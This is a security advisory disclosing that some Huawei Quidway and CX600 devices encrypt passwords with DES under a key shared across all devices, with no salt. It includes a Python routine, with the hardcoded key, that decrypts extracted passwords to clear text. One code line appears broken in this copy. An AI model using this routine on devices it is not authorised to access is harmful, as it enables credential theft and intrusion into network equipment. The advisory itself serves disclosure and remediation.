[ADVISORY INFORMATION] Title: Weak password encryption on Huawei products Release date: 13/11/2012 Credits: Roberto Paleari, Emaze Networks (email@example.com) Ivan Speziale, Emaze Networks (firstname.lastname@example.org)
[VULNERABILITY INFORMATION] Class: Information disclosure
[AFFECTED PRODUCTS] We confirm the presence of this security vulnerability on the following products: * Huawei Quidway series * Huawei CX600
Other models are probably also vulnerable, but they were not checked.
[VULNERABILITY DETAILS] Huawei devices support a weak password encryption algorithm. With this scheme, passwords are obfuscated and encrypted with DES, using an encryption key shared among all the affected devices. This encryption scheme does not use any password salting mechanism. As a consequence, passwords extracted from a victim's device can be deciphered instantaneously.
A Python procedure that decodes a given password is included below. Upon termination, procedure decrypt_password() returns the clear-text password.
<cut> from Crypto.Cipher import DES
def decode_char(c): if c == 'a': r = '?' else: r = c return ord(r) - ord('!')
def ascii_to_binary(s): assert len(s) == 24
out = *18 i = 0 j = 0 for i in range(0, len(s), 4): y = decode_char(s[i + 0]) y = (y << 6) & 0xffffff k = decode_char(s[i + 1]) y = (y | k) & 0xffffff y = (y << 6) & 0xffffff k = decode_char(s[i + 2]) y = (y | k) & 0xffffff y = (y << 6) & 0xffffff k = decode_char(s[i + 3]) y = (y | k) & 0xffffff out[j+2] = chr(y & 0xff) out[j+1] = chr((y>>8) & 0xff) out[j+0] = chr((y>>16) & 0xff) j += 3 return "".join(out)
def decrypt_password(p): r = ascii_to_binary(p)
r = r[:16] d = DES.new("\x01\x02\x03\x04\x05\x06\x07\x08", DES.MODE_ECB) r = d.decrypt(r) return r.rstrip("\x00")
[REMEDIATION] We recommend to store passwords using a proper hashing algorithm, instead of leveraging symmetric encryption. At the moment, this issue has been addressed by Huawei with security advisory Huawei-SA-20120827-01-CX600 ("Updated Security Advisory on the Risk of Password Being Cracked Due to DES Encryption Algorithm"). Further details are available at the following URL: http://support.huawei.com/enterprise/ReadLatestNewsAction.action?contentId=NEWS1000001141
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